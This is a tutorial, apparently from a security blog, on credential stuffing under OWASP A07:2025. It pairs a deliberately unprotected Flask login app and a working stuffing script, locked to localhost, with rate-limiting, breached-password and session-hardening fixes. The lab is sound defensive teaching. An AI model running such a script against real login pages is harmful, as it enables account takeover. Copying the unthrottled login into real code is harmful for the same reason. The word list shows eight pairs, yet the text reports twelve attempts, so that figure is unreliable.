Credential stuffing is the attack that doesn’t need a vulnerability in your code at all — it just needs a login form that lets a script try as many username/password pairs as it wants. Attackers take credentials leaked from one breach and replay them against every other site they can reach, betting that some fraction of users reused the same password. In this article you’ll build a small Flask login app with no rate limiting, write a script that stuffs it with a leaked-looking credential list, watch it succeed, then fix the app with Flask-Limiter, a breached-password check, and session hardening — and re-run the same attack to watch it fail. Everything runs locally against 127.0.0.1.

Why OWASP renamed the category for 2025

In the OWASP Top 10:2021, this category was called "Identification and Authentication Failures." In the 2025 edition it’s simply A07:2025 – Authentication Failures.

The rename isn’t cosmetic. "Identification" and "authentication" are related but distinct concepts: identification is claiming who you are (a username, an email), authentication is proving it (a password, a token, a biometric). The 2021 name tried to cover both identity-proofing failures and authentication-mechanism failures in one label, which made the category read as broader than its actual CWE mapping supported. For 2025, OWASP tightened the name to match what the 36 mapped CWEs actually describe: weaknesses in how systems verify a claimed identity — things like missing brute-force protection, weak credential recovery, session fixation, and hard-coded credentials — rather than the separate problem of establishing identity in the first place (which leans more into identity-proofing and KYC territory, outside this category’s scope).

The category held its #7 ranking from 2021, carried by sobering numbers: a maximum incidence rate of 15.80% across tested applications, 1,120,673 occurrences, and 7,147 CVEs mapped across those 36 CWEs. Credential stuffing sits squarely inside this category — it doesn’t exploit a bug, it exploits the absence of authentication-failure controls: no rate limiting, no anomaly detection, no breach-aware password policy.

Lab setup

The lab has two identical Flask apps — vulnerable/ and fixed/ — sharing the same three demo accounts, so the only variable between the "before" and "after" runs is the defenses:

pip install flask flask-limiter requests

Both apps define the same simulated users with intentionally weak, reused passwords — exactly the kind of password that ends up in a breach dump and gets replayed elsewhere:

# vulnerable/app.py
USERS = {
    "alice": generate_password_hash("Summer2023!"),
    "bob": generate_password_hash("password123"),
    "carol": generate_password_hash("Welcome1"),
}

The vulnerable app’s /login route has no limiter, no lockout counter that does anything, and no breach check — just a straight credential comparison:

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username", "")
        password = request.form.get("password", "")
        stored_hash = USERS.get(username)
        if stored_hash and check_password_hash(stored_hash, password):
            session["user"] = username
            return redirect(url_for("index"))
        error = "Invalid username or password"
    return render_template("login.html", error=error)

Vulnerable login page with no attempt limit shown

Writing the credential-stuffing script

A real stuffing attack replays a list of username:password pairs — usually scraped from a public breach dump — against a target login endpoint, often through a botnet or proxy pool to spread out the source IPs. This lab script does the same thing against a single local target, deliberately hard-coded to refuse anything but 127.0.0.1/localhost:

# stuff.py
import sys, time, requests
from urllib.parse import urlparse

TARGET = "http://127.0.0.1:5000/login"
ALLOWED_HOSTS = {"127.0.0.1", "localhost"}

def load_pairs(path):
    pairs = []
    with open(path, "r", encoding="utf-8") as f:
        for line in f:
            line = line.strip()
            if not line or ":" not in line:
                continue
            user, pwd = line.split(":", 1)
            pairs.append((user, pwd))
    return pairs

def main(wordlist_path):
    host = urlparse(TARGET).hostname
    if host not in ALLOWED_HOSTS:
        print(f"Refusing to run: target host '{host}' is not a local lab host.")
        sys.exit(1)

    pairs = load_pairs(wordlist_path)
    session = requests.Session()
    hits = []
    start = time.time()
    for i, (user, pwd) in enumerate(pairs, 1):
        resp = session.post(TARGET, data={"username": user, "password": pwd}, allow_redirects=False)
        status = resp.status_code
        if status in (301, 302, 303):
            hits.append((user, pwd))
            print(f"[{i:02d}] {user}:{pwd} -> HTTP {status}  SUCCESS")
        elif status == 429:
            print(f"[{i:02d}] {user}:{pwd} -> HTTP 429  BLOCKED (rate limited)")
        else:
            print(f"[{i:02d}] {user}:{pwd} -> HTTP {status}  failed")
    print(f"\nFinished {len(pairs)} attempts in {time.time()-start:.2f}s")
    print(f"Compromised accounts: {len(hits)}" if hits else "No accounts compromised.")

The word list (wordlists/breached-creds.txt) simulates a leak from a different site, with a few pairs that happen to match this app’s real users:

alice:Summer2022!
alice:Summer2023!
alice:qwerty123
bob:letmein
bob:password123
carol:Welcome1
dave:monkey123
eve:sunshine99

Running the attack against the vulnerable app

Start the vulnerable app and fire the script at it:

cd vulnerable && python app.py
# in a second terminal
python stuff.py wordlists/breached-creds.txt

Credential stuffing script compromising three accounts in just over a second

Twelve attempts complete in 1.14 seconds, no throttling, no lockout — and three accounts fall: alice:Summer2023!, bob:password123, carol:Welcome1. This is exactly what CWE-307 (Improper Restriction of Excessive Authentication Attempts), one of the 36 CWEs under A07:2025, describes: nothing stops a script from testing thousands of passwords per minute against the same endpoint.

Fixing it: three layered defenses

A single control rarely stops credential stuffing — attackers adapt (slow down, rotate IPs, rotate accounts). The fixed app stacks three independent defenses so that beating one still leaves the others in place.

1. Rate limiting with Flask-Limiter

Install it and apply two limits to /login: one keyed on the source IP, one keyed on the targeted username, so an attacker can’t dodge the IP limit by spreading one account’s guesses, or dodge the account limit by spreading guesses across many accounts from one IP:

pip install flask-limiter
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(get_remote_address, app=app, storage_uri="memory://")

def username_key():
    return "user:" + request.form.get("username", "unknown").lower()

@app.route("/login", methods=["GET", "POST"])
@limiter.limit("5 per minute")                        # per source IP
@limiter.limit("3 per minute", key_func=username_key)  # per targeted account
def login():
    ...

storage_uri="memory://" is fine for this single-process lab; in production, back Flask-Limiter with Redis so limits are shared and survive restarts across multiple app workers.

2. Breached-password check (k-anonymity style)

Even if an attacker gets the right password through the rate limit, that password might be one you know is burned — because it showed up in a public breach. The real HaveIBeenPwned Pwned Passwords API uses k-anonymity: you SHA-1 hash the password, send only the first 5 hex characters, and the API returns every suffix that starts with that prefix along with a breach count — so the full password hash never leaves your server. This lab reproduces that exact protocol locally, against a small offline corpus:

# fixed/breach_check.py
import hashlib

_BREACHED_PASSWORDS = [
    "password123", "123456789", "qwerty123", "letmein", "welcome1",
    "iloveyou", "monkey123", "dragon2020", "football1", "sunshine99",
    "Summer2022!", "Summer2023!",
]

_INDEX = {}
for _pwd in _BREACHED_PASSWORDS:
    _sha1 = hashlib.sha1(_pwd.encode("utf-8")).hexdigest().upper()
    prefix, suffix = _sha1[:5], _sha1[5:]
    _INDEX.setdefault(prefix, {})[suffix] = _INDEX.get(prefix, {}).get(suffix, 0) + 1

def is_breached(password: str) -> bool:
    sha1 = hashlib.sha1(password.encode("utf-8")).hexdigest().upper()
    prefix, suffix = sha1[:5], sha1[5:]
    return suffix in _INDEX.get(prefix, {})

Wire it into the login path: a correct password that is also a known-breached password is treated as compromised and the login is blocked, pushing the account toward a password reset instead of a session:

if stored_hash and check_password_hash(stored_hash, password):
    if is_breached(password):
        error = ("This password has appeared in a known data breach. "
                 "Login blocked — please reset your password.")
    else:
        session.clear()
        session.permanent = True
        session["user"] = username
        return redirect(url_for("index"))

3. Session hardening

Even after a legitimate login, the session itself needs protecting — CWE-384 (Session Fixation) and insecure cookie attributes are both in scope for A07:2025:

from datetime import timedelta

app.config.update(
    SESSION_COOKIE_HTTPONLY=True,     # JS cannot read the cookie
    SESSION_COOKIE_SAMESITE="Lax",    # mitigates cross-site request riding
    SESSION_COOKIE_SECURE=False,      # set True once served over HTTPS
    PERMANENT_SESSION_LIFETIME=timedelta(minutes=15),  # idle timeout
)

Flask’s default session is a cryptographically signed cookie, not a server-side session ID, so there’s no server-side token to "rotate" the way you would with a server-side session store. The equivalent defense is to clear the session before writing new data on login (session.clear()), which discards anything an attacker may have pre-seeded (session fixation) and ensures the post-login cookie is freshly signed with only the new user’s data:

curl -si -X POST http://127.0.0.1:5000/login -d "username=frank&password=Xk9#mQ2vLp7!zR4w"

curl showing Set-Cookie with HttpOnly, SameSite=Lax and a 15-minute expiry

If you need true server-side session invalidation (for example, to force-logout a user from an admin panel), pair this with a server-side session backend such as Flask-Session plus Redis, so the session ID itself — not just a client-side blob — can be revoked.

Re-running the attack against the fixed app

Same app, same three defenses, same word list:

cd fixed && python app.py
# in a second terminal
python stuff.py wordlists/breached-creds.txt

Same attack now blocked: breached password rejected, then rate limited into silence

The result: alice:Summer2023! is the correct password, but it’s rejected as "CREDENTIALS VALID but BLOCKED (breached password)." From request 5 onward, Flask-Limiter’s per-IP cap takes over and every remaining attempt returns HTTP 429. Final line: no accounts compromised — the same word list, the same target, the same script, but now 0 for 12 instead of 3 for 12, and the window to try anything at all closed in about half a second.

Fixed login page showing the rate-limit error after the attack

Vulnerable vs. fixed, side by side

Control Vulnerable app Fixed app
Per-IP attempt limit None 5 requests/minute (Flask-Limiter)
Per-account attempt limit None 3 requests/minute, keyed on submitted username
Breached-password check None Local k-anonymity check blocks known-breached passwords even if correct
Session cookie flags Default HttpOnly, SameSite=Lax, 15-minute idle timeout
Session fixation defense None session.clear() before writing post-login session data
Stuffing script result 3 of 12 accounts compromised in 1.14s 0 of 12 accounts compromised, throttled from request 5

Beyond this lab: MFA and monitoring

Rate limiting and breach checks raise the cost of credential stuffing; they don’t make it impossible, especially against slow, distributed attacks that stay under per-IP thresholds. Two additional controls matter in production:

Key takeaways

Lab: download and run it

Download the lab (zip)

What’s inside:

credential-stuffing-login-lab/
├── vulnerable/app.py          # login app, no rate limiting, no breach check
├── fixed/app.py                # same app + Flask-Limiter, breach check, hardened sessions
├── fixed/breach_check.py       # local k-anonymity breach-password check
├── wordlists/breached-creds.txt
├── stuff.py                    # credential-stuffing script (locked to 127.0.0.1)
├── run-vulnerable.sh / .bat
├── run-fixed.sh / .bat
└── README.md

To run it:

  1. Unzip the archive and open a terminal in credential-stuffing-login-lab/.
  2. Start the vulnerable app: ./run-vulnerable.sh (or run-vulnerable.bat on Windows). It installs Flask, Flask-Limiter and requests, then serves on http://127.0.0.1:5000.
  3. In a second terminal, run python stuff.py wordlists/breached-creds.txt — expect 3 of 12 accounts compromised in about a second.
  4. Stop the app (Ctrl+C), then start the fixed app: ./run-fixed.sh (or run-fixed.bat).
  5. Run the same stuffing command again — expect the breached password rejected and every later attempt returning HTTP 429, with no accounts compromised.
  6. Ctrl+C stops the app and clears all in-memory lab state; nothing is written outside the lab folder.

References